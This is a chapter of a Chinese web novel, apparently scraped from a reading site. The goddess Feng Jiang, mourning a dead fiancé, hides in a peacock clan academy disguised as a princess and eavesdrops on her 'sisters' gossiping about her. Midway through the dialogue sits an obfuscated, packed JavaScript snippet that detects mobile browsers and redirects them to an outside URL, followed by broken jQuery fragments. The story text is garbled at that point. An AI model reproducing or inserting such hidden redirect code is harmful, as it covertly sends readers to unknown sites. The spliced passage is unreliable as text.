2. 第 2 章

作品:《杀死未婚夫之后,和他哥he了

    天界已数万年无事。


    月老姻缘簿里生离死别的戏码演了一出又一出,幽冥司的魂魄投胎投了一次又一次,日子实在过得乏善可陈。


    近来终于出了一件奇事,在一片死水的八卦坛里炸出了不小波澜。


    三殿下身陨西海,凤姜少君为爱情伤。


    三殿下身陨西海是事实不假,至于这凤姜少君为爱情伤,又从何谈起?


    作为这桩八卦的主讲人,月老是这么以为的——


    一觉醒来莫名其妙多了一桩婚事,未婚夫还心有所属,换了别的女神仙定是不会依的。


    凤姜少君不一样,非但没有闹,听闻未婚夫平叛却身陷西海之滨,还没见着未婚夫的面,便义无反顾地拖着尚未恢复完全的身子赶赴战场。


    足以见她心里待三殿下,是不一般的。


    西海之祸起于一场魔蛟叛乱,镇守西海的大蛟动了凡心,起了要离开西海的念头,被有心之人钻了空子,引着那蛟龙入了魔。


    魔化的蛟龙极难对付,三殿下自请前去平叛,带着一队天兵入了西海,却三日没有回音,天君急的在九重天团团转,正准备着人去请凤君出马,就听凤麟洲来报,说凤姜少君甫一听闻三殿下有难,便单枪匹马赶去了西海之滨。


    天君心下稍安,有凤姜少君在,自己小儿子定是无恙了。


    凤姜少君何许人也,她是生来就是要接应龙神的班成为第二任神界战神,统领诸神征战古战场的。


    少君一万五千岁入应龙神帐下,征伐魔族一万余年,屡立奇功,均无败绩,奈何命运坎坷,就在上古战争胜利的前夕,受魔族暗算,重伤陷入沉睡,这一睡,就是五万年。


    只可惜纵是少君如神兵天降,仍是没有救下三殿下,九重天金尊玉贵的三殿下,折在了西海之滨。


    凤君领了天君之命赶到时,只见得昔日意气风发的少年手执长枪,胸口被魔蛟一爪贯穿,倒在黑水河畔,生息微弱,神格消弭,魄散魂飞。


    凤君竭尽全力,也只拢住三殿下三魂六魄,余下的一魄,遍寻四海十洲也不见。


    七魄少了一魄,即使醒来,也是如同行尸走肉一般麻木,惹得众仙为之唏嘘。


    凤姜少君也没好到哪去,与魔蛟交战之后受了重伤,昏了过去。


    诸神虽不曾见过少君的面,但神仙就职必读的经书典籍里清清楚楚明明白白写着,少君她修为深厚,战力超群,乃是神族第二大将才,于打架一事上的造诣仅次于已故的应龙战神。


    竟会败于一小小魔蛟手下。


    许是受不了打击,凤姜少君在西海之战之后便消失了,无人知她踪迹几何,众仙疯传少君受不了接二连三的打击,闭门疗伤了,疗的什么伤,情伤。


    闭门疗伤的凤姜少君本人,对外界的说法一概不知,此刻不在凤麟洲,也不在九重天,远在西荒之西的汤谷,趴在碧云书院的书桌上,头脑昏沉地听课。


    台上站着一位鹤发童颜的老夫子,下巴上蓄了一把长长的花白胡子。老夫子须发皆白,慈眉善目,凤姜私下里称呼这位夫子为山羊夫子。


    山羊夫子一手握书,一手抚着山羊胡须,口中念念有词:


    “昔日结发为夫妻,鸳鸯双双梧桐栖。”


    “奈何梧桐不耐老,恩情情意难终了。”


    一首诗颂完,也到了下课时分。


    凤姜一头栽倒在桌上。


    她平日里最不耐的,便是这些风雅之物,一堂课下来,脑子里满是风月情意,花草柳絮,撑到如今,已是极限。


    书桌由长两尺,宽一尺半的上好金丝楠木打造而成,采了雕漆工艺,上铺丝绸缎子,躺上去既不硌人,也不过分柔软。


    楠木散出淡淡幽香,闻起来心旷神怡。


    她在心里叹了口气,早知做学子的生活是这样的,当初她就该换个法子。


    半个月前,她自西海回来,远远便见一绿衣少女立在栖霞殿殿门口,见她归来,小步跑上前,双膝跪地,结结实实给她磕了个响头。


    她将人扶起来,看见一张梨花带雨,我见尤怜的脸,少女柔柔弱弱,开口却是一句平地起惊雷的求少君救命。


    凤姜治下严谨,西海之下,鸟族之内,绝不敢有什么草菅人命的事,细细询问,才知少女所言,与她想的,根本不是一回事。


    少女来自汤谷,西荒之西,是孔雀王君与一侍女所生,从小在下人堆里长大,直至成年,才被当作正经公主教养,送去书院进学,不过多久,王君便要将她许配出去。


    讲到这里,少女面露悲戚:“可菱叶早已有了两心相许之人,嫁与一个素未谋面的人,了却余生,无异于永无天日的徒刑,少君统领西海,护佑鸟族,还请少君救我!”


    “你想如何?“凤姜问。


    “菱叶想与心上人离开汤谷,寻一处静谧之处,长厢厮守。”少女再度跪下,眼神坚定。


    原来又是一对苦命鸳鸯,凤姜轻笑,“小公主,我爱莫能助,纵使我再神通广大,也不好掺合你的家事,助你私奔?我不是白白得罪孔雀王君?”说罢转身离开。


    “少君留步!”身后急切的声音传来,“菱叶并非痴心妄想之人,是一头白虎,是头白虎叫我来寻少君的!”


    菱叶掏出一串白色毛绒制成的吊坠,“她还给了我这个,说少君见了,定会帮我!”


    赤红色的缎子,挂着白色绒毛团成的一个球,球下是一支淡金色的羽毛。


    凤姜蓦地眯起眼。


    是皎皎的。


    皎皎在五百年前身殒,走得突然,也走得干净,未曾给凤姜留下半分念想,那挂坠,或许是皎皎最后留存于世的东西了。


    她松了口,妥善地安排好菱叶的去向,派属下将菱叶的心上人——王庭的一个小侍卫接出汤谷,并备下了满车的珠宝,保管他二人能潇洒余生。


    作为交换,她取回那块吊坠,改头换面,替菱叶进了书院。


    ……


    凤姜睡得迷迷糊糊时,听得耳边传来絮絮低语。


    她翻了个身,将头转向窗外,尽量远离谈话声。


    可惜效果不佳。


    “你可有听说凤姜少君失踪之事?”一个声音道。


    “听说啦听说啦,汤谷这些日子都传遍了,听说少君自听闻松岚殿下身殒后便闭门不出,连天君传召都拒了。”另一个声音道。


    听二人谈到自己,凤姜借着翻身,朝二人的方向挪了挪,眼睛睁开一条缝,朦朦胧胧看见“她”的三姐菱纱,抓着手里的手帕擦拭眼角根本不存在的泪花,表情甚是幽怨。


    “许是少君受不了打击,找了个地方躲起来偷偷疗伤吧,唉,换做是谁,眼睁睁看着未婚夫死在自己跟前却无能为力,都会大受打击的。”


    菱纱弃了手帕,不知道从哪抓来一把瓜子,咔嚓咔嚓的磕起来。


    “看来少君是真的在意松岚殿下啊。”先头的另一个声音,五公主菱月道。


    菱纱停下了嗑瓜子的动作:“那肯定,听闻三殿下受困的消息前脚传来,少君后脚便赶到了西海之滨,那时少君刚苏醒不久,神力都尚未恢复完全,并不是非去不可的,可少君为了三殿下还是去了。”


    听了菱纱一番话,菱月将桌子一拍,吓了凤姜一跳:“我真替少君不值得!三殿下明知自己有婚约在身,仍为了白泽神女之事忤逆天君。”


    估计是真的打心底里为凤姜不值,菱月这一巴掌使了极大的力气,菱纱搁在桌上的瓜子壳被震得一飞。


    不巧,正好飞到了一旁趴着的凤姜头上。


    菱月平复好心情,鬼鬼祟祟地瞧了瞧周围,凑到菱纱耳边,用只有她们两个,呃,三个能听到的声音,悄声道:


    “你说,天君赐婚,怎么偏就赐到三殿下头上去了,天君明知三殿下与白泽神女两情相悦,五百年前,白泽神女受了重伤,三殿下可是把整个四海十洲都翻了一遍,最终才求来一枚佛舍利,救了神女性命,就这一遭,天君就当明白,三殿下待白泽神女之心,天地难改也。”


    菱纱老神在在:“你道为什么三殿下放着天君不去求,要上穷黄泉下碧落地苦寻良方?”


    她伸出一个手指头指了指上头,语气高深:“天君呐,是不满意白泽神女这位儿媳,三殿下在凌霄殿门口跪了三天三夜,天君他也未松口,小小一位长洲仙君之女,哪里配得上九重天的三殿下,你瞧瞧少君,再瞧瞧白泽神女,两位出身高下,便知了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251718|166414||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    菱纱顿了顿,声音放低了些:“说来虽有些大言不惭,但若换了你是天君,你选谁?”


    “你这话是有些大言不惭了。”菱月接道。


    “但话又说回来,若我是天君,我也选少君,不过啊,要选少君做儿媳,不是只有三殿下一位人选啊,二殿下也正值婚配的年龄。”


    菱月捧手,神情很是满意:“二殿下清正,端方,若要为少君择一良婿,二殿下才是最佳人选。”


    “我看未必,少君虽然战功赫赫,出身高贵,但到底是从前的事了,放到如今,已比不得二殿下一身荣光。”


    “你这是何意,你是说,少君配不上二殿下?”菱月愤然。


    一旁偷听的凤姜:……


    她其实不是很想再和这一家子人扯上关系呢。


    再者,菱纱话里话外地贬低她,好像她是件待价而沽的物品,由着天君挑来挑去,她要得一个称心的夫婿,还得看天君他老人家的旨意。


    她有些不爽,想着是时候提醒菱纱二人一下,莫要再将这荒谬的对话继续下去。


    但她若突然醒来,菱纱恐要发难。


    菱叶的处境其实不太好,生母不详,孤零零地长大,来了书院才第一次见到一众兄姐,而菱叶的十七个兄姐,并不把这个最小的妹妹看在眼里,好的只当她不存在,坏的如菱纱,时不时还要奚落她两句。


    余光瞥见桌上有一方盛满墨汁的砚台,凤姜急中生智,假意翻身,一袖子朝那砚台扫去。


    她动作慢,动的这一下里见得菱纱整了整衣襟,面露严肃:“我可没有这么说,我昨日偷听夫子讲话,说父君邀了二殿下来书院讲经,专授阵法,你见了二殿下,便知我所言非虚了。”


    凤姜手上的力度猛然增大。


    “砰”的一声,砚台应声落地。


    菱纱被吓到,尖叫着躲开,却已来不及,雪白的裙摆溅满了墨汁。


    屋内的其他学子也注意到这边的动静,探头看来。


    凤姜趴在桌上缓了缓神,才消化掉菱纱方才说的一番话。


    松岚那个二哥,要来书院做夫子?!还专授阵法?!


    她扶着额头,觉得有些头痛。


    一旁的菱纱已涨红了脸,大怒,那可是上月父君新赐给她的月华锦,心心念念了好久才得到的,一边擦拭着裙摆一边朝吼道:“菱叶,你干什么?!”


    说着,好像想到了什么一样,停下手中的动作,上前一步,狐疑地盯着凤姜:“你是不是故意的,你是不是根本没睡着,故意要吓我和菱月?”


    身后的菱月也附和道:“你太过分了菱叶,三姐姐这身衣服可是父王新赐的。”


    凤姜坐起身来,带着半梦半醒的懵懂,朝二人摊了摊手道:“我不是故意的,我睡的好好的突然被你们吵醒,翻了个身不小心打翻了砚台,我也被吓了一跳啊。”


    她睡觉本来就不老实,加之故意翻了个身偷听二人讲话,头上的发髻被压得变了形,额前的碎发乱糟糟的,刚睡醒,脸颊处的红晕还未散去,揉着眼睛站起身来,仿佛还在醒神。


    说着瘪了瘪嘴,簇起细长的柳叶眉,垂下手,漏出一双水汽氤氲的淡金色眸子,眼里盛满了委屈。


    巡堂的夫子也注意到了这边的动静,快步上前,正要询问,便见凤姜一双浸满了泪的眸子巴巴望着自己。


    小姑娘半边袖子都被墨水浸湿,皱巴着巴掌大的小脸,瘪着嘴似乎在忍泪,乱糟糟的发髻上还顶着几个瓜子壳,活像只落水的可怜小猫。


    再观一边的菱月和菱纱二人,一人叉腰,一人附势,盛气凌人地将凤姜堵在窗边。


    菱纱愤然转头,头上的流苏随之飞舞,娇喝道:“李夫子,你来得正好,菱叶她偷听我与五妹讲话,还故意将砚台打落在地,弄脏我的裙摆,实在可恶。”


    可怜的九公主“菱叶”适时地在一旁吸了吸鼻子,小声啜泣:“我没有。”


    李夫子看了看菱纱头上金丝嵌着红宝石,约莫能买下整十身上好衣裙的流苏簪子,花白的眉毛抽了抽:“三公主,我不姓李……”


    周围的空气静了一瞬。


    只剩菱纱头上金丝镂空的红宝石流苏还在摇晃。